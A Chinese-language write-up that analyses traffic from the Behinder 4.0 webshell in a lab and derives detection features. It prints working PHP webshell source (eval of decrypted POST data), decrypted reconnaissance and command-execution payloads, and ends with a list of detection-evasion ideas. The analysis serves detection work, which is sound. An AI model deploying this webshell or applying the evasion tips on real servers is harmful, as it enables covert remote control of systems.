冰蝎 webshell 流量分析
冰蝎 4.0 简介
冰蝎是一款基于 Java 开发的动态加密通信流量的新型 Webshell 客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。
由于通信流量被加密,传统的 WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。
新旧版本对比
冰蝎 v4.0 相对于 v3.0 版本,更新了较多内容,其中最大的更新点就是开放了传输协议的自定义功能。
在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,因此冰蝎的作者将这个特征泛化,让它成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0 版本不再有连接密码的概念,用户的自定义传输协议的算法就是连接密码。
接下来演示,选择传输协议为 default_xor_base64,传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改。选择传输协议后点击 生成服务端,则会生成 shell 文件,分别为 shell.php 和 shell.jsp。
起个环境然后连上 shell:
查看 default_xor_base64 传输协议生成的 shell.php,代码如下,此处代码和 v3.0 的相当不一样。
v4.0 default_xor_base64 代码:
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
这里的 key 就是对应的连接密码,在冰蝎 4.0 的传输协议中,可以自定义密码。
v3.0 代码:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key
,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded
,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64
加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。
通信原理
冰蝎 4.0 通信流程如下:
- 本地选择加密算法,生成服务端 Webshell,加密算法对 Payload 进行加密,然后数据通过 POST 请求发送给远程服务端;
- 服务端收到 Payload 密文后,利用解密算法进行解密;
- 服务端执行解密后的 Payload,并获取执行结果;
- 服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
- 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
流量分析
打开 wireshark 监听对应网卡,笔者选取的是 default_xor_base64 的加密方式,在连上 webshell 之后还执行了id
命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下,在 wireshark 中选取对应的 HTTP 流量并右键,选择追踪 HTTP 流:
ps:若靶机使用 docker 搭建可直接监听 docker 网卡,这样流量数据相对纯净。
第一组流量
首先看第一组的 POST 请求内容,将其复制到冰蝎使用对应协议进行解密,得到如下结果:
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //初始化session,避免connect之后直接background,后续getresult无法获取cookie
echo encrypt(json_encode($result));
}
function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="aGdNQ1ZUd1VBRTlNZEwyZkNEem9kenVSZ0NVT091SHdtTG40bjRnVDR6OFdKU2NlWHRINXJVRndaOXRRMnFrM0ZFSW9GcmJrZlA4dks2ZTJVMlBiMTFKcFZFbGpseVhNSVY0Vzg1QUFSTDNoM3ZYMTB2UjZlWmVHV3RhMWdVYTI2cUdXT0FxQlE3Umtmc3B6QmpDOEd2RHZid2lSWlBHU1VaVVE5bHZIRmxodE1VZUhpQTUySlE2czU3Q05LZlM4VFpZdnpJUDdPT05FNWh0aGg3NXNqSlFmcU54RkF4MXJlZTR2cUFXQ0NPUkRPWWZEaFNCVzBZYWM4QXhVRnN2TUtJOXFGbzBMNHRSTHd1WUN5TmlTTVV1bWFRSW04NjY2T2FXbG9NSFY5cnhNSHVrZHJrZDlSR1kzakZoSG9DUmRLZkpVdzE0cVZ5aDVBNUd5Wml0eTVuYjNXYkdSUlFkREdyOVZDdHBiZ21ERU5vdGVmaEhRQUU4bEI4RHZ2NEcybFQySlM4dnRua0pFVTYybXF6OTNVenp5SmhkMWt1T0RaTmVxZG9sZ1JlZFFqbDVUSHNvUHYzSlUwa3BYNE9RUTd4Y3V6dnBFdjJGNWtPNHVoODFheDVYQWR0MU1Mdjc5RkZZZTB5RUs0WUxsTElVSEg2UHphRzkzZ0JIVWZkWWIyc3gweVREV2FjWW9rbEFTdVRMZjBaMXlTOUt3TzdGWmF3TzR2ak15bkZNMVB1a2M1dE1EcUc0eEdqV2VRVWNDR0QzTm9GdGlRbkxpWmh1c2gxYmhzQWhoRmdDRW81ZUZuWEVqdldsMHUyT0hhUFczR2tIWlpVUURkRUIyRFRxaWVpdDJ0NHdNNjJ3VFJBb0lCc3g3RWhrTnVaU3NOa2VqOEhEakhhWjJPUERhR204dHdhVGJoeVdZN2UyZnBaZ3QwdTBLYm9QQ0hEdmt4WXgwcXJpUVZ6cXpERlM4ZFhTMkRaQWJ4ZUN1TXlRQjN1aU1KNUUzOXpNMWF6bmh5eDJ5WWlaWUp5MWtDM2hNY2xZbndhMXJweURVdzk4ZGVLNHphZjdWdzFVWVZFcmpqMVBoNnMyY3A2R2NVTldUU2FmYVRTZ0Z2NThQR2ZDU2htSG15WmpRYnpGc0wzUjhRbWlRbVBKekRCV05UejBDVUxVbmpzYkJicGc5eTBHeUNmTkFiNTRqRFhvaTVhRTVJRUJ4OER0VTRYQ2NsQ3pYQXVFZWRhdkZSTGMxRHlNUFBhMVRrWVRpQnJTaXZsYVJDVWh6Qzg3ZFAyZERBVDZ5ZlQ5Rm9QMWFta25EY0IySFF4RUVQZ201bDRZNjkzY1plWWFHVFZsdTFOdnVXSXFkNDB4MU9DMEtvR0RYZVkyZDJldkhJV3k2NE9DMll3cXJFZ3JsOGJ6VnAydnRhOEU4VnROeXdCNVFXbUI5RUFtTzBZdGhmTng3d21WenQ0RlVuYVpzR2hXdGRQM2VVNEgwcTE5dFVVb1M0QVh3ZXFweHhTRmdwaHBiSlhCbWg0ZlJCUTdFbVdVYVgzaklhMHNYWHFFbWxlRWd0UkRsa1N1VWpIT2Y0dTZGREJnUGNPV0RBSnBaMWlJM255ZkVDaUI1Yk5YU1pldm1DZGptYUlzMTJiOGN6TXVhMkFxMFduQmNsRlhjaXQ2S0g2b3lEYmx6Mlh4UXY2bVppYndwZFQ0azBRcTYwRm1xT0JKa1dKWGE4RFZEWXF1a0psaU1FOEkzaWJlTEhtcXFtZ1I5QXEzSVVQSE93SUxJTk9EY3BVWUZReVFmaWhLTXJXRHZ1VWxSUnR5cUo5UWdtR2hMRmhtZnhPajFWQ3JXdlZtblBHWElscmVOQXBySG9PaFNnVEN6NXFuNFJIVHFINVN3QjRlUlZjZnNVT0VUbGVWcUIxT1oyamNLdU1ROUhnSnE0WHN3TjhRWGVJTjZEOTg2YTllZDJlbmNqVmJhQ2tudm91SU1COFlwUkJkZUZWT09hWjNaWkF2S2FFTzdTS2lzekwyVnB0Rm55cURDN3dLYmRyV3ZuelpMbzdxU25PcWJLMGE5OVNuYzBQZFJNZ0ZZSTFHVmtXam8xN285SmhlNjBjMTJVb3ZSZmNwMEVYeFhsSzhLWlVSTTQwcmF6Q2dqc1BPRlE3ZW1PNXkxaDNscnJXR1Z6T1drOFlvYTNNaElsZnhsZ29nZEJhZXVRclhlaGpZNVVMbG15b1VmQUFTMW9rZVRTQzRSVnY3RGRjbGh3NVRwZGhpRmJUYVhwRUxpcmlNTmVjUmhTTUhDTDhhMjU2OUtKVkhETVByNUFOZ05YamxOUHA1MFRnMFViVnY3RmpVYktvYWJRVlFkMllPOG5Rb2JGRllOUzVvazFrUktCYzFaMWlKbzh2UUh5WnlESWZlUzk3Ykd1bkxSajFJR1Zob1RJYVlPQjlUZ2F0TW1vQWtUOFFCZVBiWWhSaDJLc1NSVDdPeXJiSVBTdUNKOXAzWUI2WnFRYVFtcUR6aDlBTmtwa2xRektvRnRnYjIzMkVLSTBqaE11TUFtUEZ6VmNwbkc5ckMwM2NMWTJBdmgxMEVFUEF6alNTQm9UU2VvdnlVUUk3c3ZPdHZMUlJRaGk3b1hMSllPdmU2enFTejNHR3o4bE04bEhTRzJpUGs4dkhUUkFkNkZPdUxhNXJZUUY3YkNpMlM1UXNTZW5nRUNpTVBaYU5hcDBEY1o2Vmd6RHhKaXh5QUZFVkxmUlRNMjhHZmhwZ2J2V2ZBYVV3aTJMY3dHd3hWQXRtSWJyWUJWM2duUGdpUmxuZzY3d25VSHlNTnVYQ3VsUlZPdDlzOEtIUWprMFU3V2RrYVZVeWo4cFVMZENlbjRUMG54OGU1YUQ4NjA1cGtYeG40dzNDZkJWOE93OTl3a1NwNzlXS2NoQ0VCc0lnMml6WEg4OWc4U2hHN3RUU1dlVjFwNU5oVUhxeVNNYW9ITzhXSnlzcFVWd0ZPMHNaT0hweXVzOUN5cm1UNU9YcUU4dUpPZ2F5bk1INTFOWGtOVFJyS3FaeWtFRVk1dEdsNDRlV1pvMXY1djVpUG9ranpRSWRGQlRrRDdjcEdqSlpwck1CejZZOTNtaGFhMkFPZXE3WmdPd0VLSGxkZWFzaEJzNExZbnpUV0JhTGJCZndIa05hVHZTNXZ3Nng4V3hRVmF2TUtLczBMVzFMNTh0eEp3Y2t1dzUzYTBjRFBERUdpZmtWZUVoTHVLaXU1dEV3YXlseXlFVG1LS1U4ZGdsNkJXY2hXTDVnOXJDalFPcWtVbjZPbWpKd21pOU5VcWNRcVFpUXRUNGVnTG40bDRoWVlnaUVBZnY3b0dVQzBmN2d0WG5hdkdDc3N4TUpPWEhVYk9UNUliVWlZQUk3aWw4UUpjQWk2aFIzaTZmVXR0RTM0dnFQeHhtamxVb25yNmJNaG5meWJ6cElCNGZMWUdNVm5Xa0R2aEY1YXdWWGxZbUhGRjJ3ajNKdFAyRlJYUFJtUVNrUWd1aVAzZ0V6b1NmSllBRUN1MUJCNEJ5ZWc0N0V5VjN5Rmc1RTNEcFEzT0N6TGVBOHFQaU5PMGxzVmxEMnFVd2pGdlZyYmdiSXZJbFFmZGxTUXJQUXpzclhqWHVLcTBPU1lLTnFWa0daY2JEdnpPWDBndEd0bFhwZEswd2VTQ09wV1J4ZVVTYmNLSGlCcVF6SnlpNHVCSmt4aTJjZHlPMUlnMmFzb3lJN05KRDZ4TVVmN21tZ3VkMWRhN3VHS0NhVElGMTA=";
$content=base64_decode($content);
main($content);
这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了$_session
。
接着我们往下看响应报文,响应报文经过 xor_base64 解密之后结果如下:
{
"status":"c3VjY2Vzcw==",
"msg":"aGdNQ1ZUd1VBRTlNZEwyZkNEem9kenVSZ0NVT091SHdtTG40bjRnVDR6OFdKU2NlWHRINXJVRndaOXRRMnFrM0ZFSW9GcmJrZlA4dks2ZTJVMlBiMTFKcFZFbGpseVhNSVY0Vzg1QUFSTDNoM3ZYMTB2UjZlWmVHV3RhMWdVYTI2cUdXT0FxQlE3Umtmc3B6QmpDOEd2RHZid2lSWlBHU1VaVVE5bHZIRmxodE1VZUhpQTUySlE2czU3Q05LZlM4VFpZdnpJUDdPT05FNWh0aGg3NXNqSlFmcU54RkF4MXJlZTR2cUFXQ0NPUkRPWWZEaFNCVzBZYWM4QXhVRnN2TUtJOXFGbzBMNHRSTHd1WUN5TmlTTVV1bWFRSW04NjY2T2FXbG9NSFY5cnhNSHVrZHJrZDlSR1kzakZoSG9DUmRLZkpVdzE0cVZ5aDVBNUd5Wml0eTVuYjNXYkdSUlFkREdyOVZDdHBiZ21ERU5vdGVmaEhRQUU4bEI4RHZ2NEcybFQySlM4dnRua0pFVTYybXF6OTNVenp5SmhkMWt1T0RaTmVxZG9sZ1JlZFFqbDVUSHNvUHYzSlUwa3BYNE9RUTd4Y3V6dnBFdjJGNWtPNHVoODFheDVYQWR0MU1Mdjc5RkZZZTB5RUs0WUxsTElVSEg2UHphRzkzZ0JIVWZkWWIyc3gweVREV2FjWW9rbEFTdVRMZjBaMXlTOUt3TzdGWmF3TzR2ak15bkZNMVB1a2M1dE1EcUc0eEdqV2VRVWNDR0QzTm9GdGlRbkxpWmh1c2gxYmhzQWhoRmdDRW81ZUZuWEVqdldsMHUyT0hhUFczR2tIWlpVUURkRUIyRFRxaWVpdDJ0NHdNNjJ3VFJBb0lCc3g3RWhrTnVaU3NOa2VqOEhEakhhWjJPUERhR204dHdhVGJoeVdZN2UyZnBaZ3QwdTBLYm9QQ0hEdmt4WXgwcXJpUVZ6cXpERlM4ZFhTMkRaQWJ4ZUN1TXlRQjN1aU1KNUUzOXpNMWF6bmh5eDJ5WWlaWUp5MWtDM2hNY2xZbndhMXJweURVdzk4ZGVLNHphZjdWdzFVWVZFcmpqMVBoNnMyY3A2R2NVTldUU2FmYVRTZ0Z2NThQR2ZDU2htSG15WmpRYnpGc0wzUjhRbWlRbVBKekRCV05UejBDVUxVbmpzYkJicGc5eTBHeUNmTkFiNTRqRFhvaTVhRTVJRUJ4OER0VTRYQ2NsQ3pYQXVFZWRhdkZSTGMxRHlNUFBhMVRrWVRpQnJTaXZsYVJDVWh6Qzg3ZFAyZERBVDZ5ZlQ5Rm9QMWFta25EY0IySFF4RUVQZ201bDRZNjkzY1plWWFHVFZsdTFOdnVXSXFkNDB4MU9DMEtvR0RYZVkyZDJldkhJV3k2NE9DMll3cXJFZ3JsOGJ6VnAydnRhOEU4VnROeXdCNVFXbUI5RUFtTzBZdGhmTng3d21WenQ0RlVuYVpzR2hXdGRQM2VVNEgwcTE5dFVVb1M0QVh3ZXFweHhTRmdwaHBiSlhCbWg0ZlJCUTdFbVdVYVgzaklhMHNYWHFFbWxlRWd0UkRsa1N1VWpIT2Y0dTZGREJnUGNPV0RBSnBaMWlJM255ZkVDaUI1Yk5YU1pldm1DZGptYUlzMTJiOGN6TXVhMkFxMFduQmNsRlhjaXQ2S0g2b3lEYmx6Mlh4UXY2bVppYndwZFQ0azBRcTYwRm1xT0JKa1dKWGE4RFZEWXF1a0psaU1FOEkzaWJlTEhtcXFtZ1I5QXEzSVVQSE93SUxJTk9EY3BVWUZReVFmaWhLTXJXRHZ1VWxSUnR5cUo5UWdtR2hMRmhtZnhPajFWQ3JXdlZtblBHWElscmVOQXBySG9PaFNnVEN6NXFuNFJIVHFINVN3QjRlUlZjZnNVT0VUbGVWcUIxT1oyamNLdU1ROUhnSnE0WHN3TjhRWGVJTjZEOTg2YTllZDJlbmNqVmJhQ2tudm91SU1COFlwUkJkZUZWT09hWjNaWkF2S2FFTzdTS2lzekwyVnB0Rm55cURDN3dLYmRyV3ZuelpMbzdxU25PcWJLMGE5OVNuYzBQZFJNZ0ZZSTFHVmtXam8xN285SmhlNjBjMTJVb3ZSZmNwMEVYeFhsSzhLWlVSTTQwcmF6Q2dqc1BPRlE3ZW1PNXkxaDNscnJXR1Z6T1drOFlvYTNNaElsZnhsZ29nZEJhZXVRclhlaGpZNVVMbG15b1VmQUFTMW9rZVRTQzRSVnY3RGRjbGh3NVRwZGhpRmJUYVhwRUxpcmlNTmVjUmhTTUhDTDhhMjU2OUtKVkhETVByNUFOZ05YamxOUHA1MFRnMFViVnY3RmpVYktvYWJRVlFkMllPOG5Rb2JGRllOUzVvazFrUktCYzFaMWlKbzh2UUh5WnlESWZlUzk3Ykd1bkxSajFJR1Zob1RJYVlPQjlUZ2F0TW1vQWtUOFFCZVBiWWhSaDJLc1NSVDdPeXJiSVBTdUNKOXAzWUI2WnFRYVFtcUR6aDlBTmtwa2xRektvRnRnYjIzMkVLSTBqaE11TUFtUEZ6VmNwbkc5ckMwM2NMWTJBdmgxMEVFUEF6alNTQm9UU2VvdnlVUUk3c3ZPdHZMUlJRaGk3b1hMSllPdmU2enFTejNHR3o4bE04bEhTRzJpUGs4dkhUUkFkNkZPdUxhNXJZUUY3YkNpMlM1UXNTZW5nRUNpTVBaYU5hcDBEY1o2Vmd6RHhKaXh5QUZFVkxmUlRNMjhHZmhwZ2J2V2ZBYVV3aTJMY3dHd3hWQXRtSWJyWUJWM2duUGdpUmxuZzY3d25VSHlNTnVYQ3VsUlZPdDlzOEtIUWprMFU3V2RrYVZVeWo4cFVMZENlbjRUMG54OGU1YUQ4NjA1cGtYeG40dzNDZkJWOE93OTl3a1NwNzlXS2NoQ0VCc0lnMml6WEg4OWc4U2hHN3RUU1dlVjFwNU5oVUhxeVNNYW9ITzhXSnlzcFVWd0ZPMHNaT0hweXVzOUN5cm1UNU9YcUU4dUpPZ2F5bk1INTFOWGtOVFJyS3FaeWtFRVk1dEdsNDRlV1pvMXY1djVpUG9ranpRSWRGQlRrRDdjcEdqSlpwck1CejZZOTNtaGFhMkFPZXE3WmdPd0VLSGxkZWFzaEJzNExZbnpUV0JhTGJCZndIa05hVHZTNXZ3Nng4V3hRVmF2TUtLczBMVzFMNTh0eEp3Y2t1dzUzYTBjRFBERUdpZmtWZUVoTHVLaXU1dEV3YXlseXlFVG1LS1U4ZGdsNkJXY2hXTDVnOXJDalFPcWtVbjZPbWpKd21pOU5VcWNRcVFpUXRUNGVnTG40bDRoWVlnaUVBZnY3b0dVQzBmN2d0WG5hdkdDc3N4TUpPWEhVYk9UNUliVWlZQUk3aWw4UUpjQWk2aFIzaTZmVXR0RTM0dnFQeHhtamxVb25yNmJNaG5meWJ6cElCNGZMWUdNVm5Xa0R2aEY1YXdWWGxZbUhGRjJ3ajNKdFAyRlJYUFJtUVNrUWd1aVAzZ0V6b1NmSllBRUN1MUJCNEJ5ZWc0N0V5VjN5Rmc1RTNEcFEzT0N6TGVBOHFQaU5PMGxzVmxEMnFVd2pGdlZyYmdiSXZJbFFmZGxTUXJQUXpzclhqWHVLcTBPU1lLTnFWa0daY2JEdnpPWDBndEd0bFhwZEswd2VTQ09wV1J4ZVVTYmNLSGlCcVF6SnlpNHVCSmt4aTJjZHlPMUlnMmFzb3lJN05KRDZ4TVVmN21tZ3VkMWRhN3VHS0NhVElGMTA="}
这里响应包中的 msg
和第一个包里的 content
内容是相同的,其实这一部分就是在做密钥协商。经过 base64 解密,status
的内容对应的是 success,证明能够收到这个包,并且和前面对照上。
由上述第一组流量的分析可知,在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定“你”(受害者)确实是能够和“我”(攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。
第二组流量
继续分析下一组包,解密后代码如下,这里就进行了命令执行:
error_reporting(0);
function main($whatever)
{
$result = array();
ob_start(); phpinfo();
$info = ob_get_contents();
ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){
for($i=65;$i<=90;$i++)
{
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
}
else{
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$arch="64";
if (PHP_INT_SIZE == 4) {
$arch = "32";
}
$localIp=gethostbyname(gethostname());
if ($localIp!=$_SERVER['SERVER_ADDR'])
{
$localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
}
$extraIps=getInnerIP();
foreach($extraIps as $ip)
{
if (strpos($localIp,$ip)===false)
{
$localIp=$localIp." ".$ip;
}
}
$basicInfoObj=array(
"basicInfo"=>base64_encode($info),
"driveList"=>base64_encode($driveList),
"currentPath"=>base64_encode($currentPath),
"osInfo"=>base64_encode($osInfo),
"arch"=>base64_encode($arch),
"localIp"=>base64_encode($localIp));
//echo json_encode($result);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($basicInfoObj));
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result));
}
function getInnerIP(){
$result = array();
if (is_callable("exec")){
$result = array();
exec('arp -a',$sa);
foreach($sa as $s)
{
if (strpos($s,'---')!==false){
$parts=explode(' ',$s);
$ip=$parts[1];
array_push($result,$ip);
}
//var_dump(explode(' ',$s));
// array_push($result,explode(' ',$s)[1]);
}
}
return $result;
}
function Encrypt($data){
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";$after=$bs($data."");
return $after;
}
$whatever="SHUyVDM2Y1hEUDhTT3pzUjVMSjU5VjdrbnByc2FiOGM0MEVJU3FhS3VIakhCaWlVV0FBUVdtdXpJN3hFZ1Z2ck1CUk9YN1dPaHdXM0p2aDdjU3NUWktoWmdldktDMzU0bkVmZ1A5M2thcWNMMWZYRmhWRlFJN1dIZkpRcVAzSXdUazY0ZWN6NGhpT0RVSzZrcnJoNWEyNUxUZnQz"
$whatever=base64_decode($whatever);
main($whatever);
这个脚本本质上还是在做phpinfo()
的命令执行,结尾的$whatever
是一个随机数增加溯源难度。
接着将响应包解密:
{
"status":"c3VjY2Vzcw==",
"msg":"篇幅过长,略"
}
将这一串msg
内容放入 burp 进行二次 base64 解密,不难发现响应内容其实就是phpinfo()
的命令回显:
结合第一组、第二组流量得知,在第一次内容传输结束之后,冰蝎确认受害者与攻击者可以建立传输,才会发第二次包,也就是执行phpinfo()
命令。
第三组流量
最后一组是id
命令执行的流量,将请求包解密如下:
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path){
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function Encrypt($data){
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";$after=$bs($data."");
return $after;
}
$cmd="Y2QgL2FwcC9oYWNrYWJsZS91cGxvYWRzLyA7aWQ=";
$cmd=base64_decode($cmd);
$path="L2FwcC9oYWNrYWJsZS91cGxvYWRzLw==";
$path=base64_decode($path);
main($cmd,$path);
其中$cmd
经过 base64 解密为:cd /app/hackable/uploads/ ;id
其中$path
经过 base64 解密为:/app/hackable/uploads/
响应包内容解密如下:
{
"status":"c3VjY2Vzcw==",
"msg":"dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK"
}
其中msg
经过 base64 解密为:uid=33(www-data) gid=33(www-data) groups=33(www-data)
流量特征
经过对其通信原理的了解以及流量分析,不难看出冰蝎 4.0 在经过多次迭代后,几乎已经没有明显的流量特征,而此次开放了自定义传输协议功能,更是加大了安全厂商对其流量的解密难度,笔者认为,针对特征检测,不应该是针对单一的某个 Accept 或者 User-Agent 或者是某一 Payload 开头等进行单一的判断,而应该是经过综合考量,采用恶意性评分机制,进而得出结论。
我们先来看到冰蝎在第二次请求时也就是请求phpinfo()
时的包:
得出以下几个特征:
- HTTP 请求头
冰蝎的几个 HTTP 请求头通常是固定的,所以这里可以作为一个主判断点:
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-type: application/x-www-form-urlencoded
Accept-Encoding: gzip
-
Content-Length
显然其数值相对常规的较大,可以作为辅助特征进行检测:Content-Length: 5824
-
长连接
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive
,可将其作为辅助特征进行检测。 -
PHP webshell 中存在固定代码
可以将eval($post)
作为流量特征纳入。
$post=Decrypt(file_get_contents(“php://input”));
eval($post);
- 默认密钥
在使用默认密钥进行连接时,所有响应头都相同,另外第二次请求头比较特殊,除此之外,所有的请求头都相同。
第一次请求:dFAXQV1LORcHRQtLRlwMAhwFTAg/M
解密为:@error_reporting(0);\r
Bypass思路
- 加密解密算法,除了默认的 AES,可以使用 DES、3DES、TDEA、Blowfish、Twofish、RC2、RC4、RC5、IDEA、SKIPJACK 等对称加密算法;
- 去除 base64 编码特征,请求体和响应体数据随机产生不定长度的额外字节数组;
- 去除请求头 User-Agent、Accept、Referer、Content-type 等特征;
- 请求包以 json 格式参数,响应体数据返回 json 格式或者 html 格式,数据可以拆散隐藏在 html 标签中;
- 修改请求协议,使用 HEAD 协议,长度较小的 paylaod 放到 header 执行,Shell 返回 404,响应数据通过 ceye 类似接口进行中转或者通过服务器可访问的目录图片中转;
- 客户端不定时发送不定长度的垃圾数据;
- 基于 sessionID 生成密钥、payload 参数名、分隔符等;
- 使用 Java 底层函数绕 OpenRASP;
- webshell 免杀。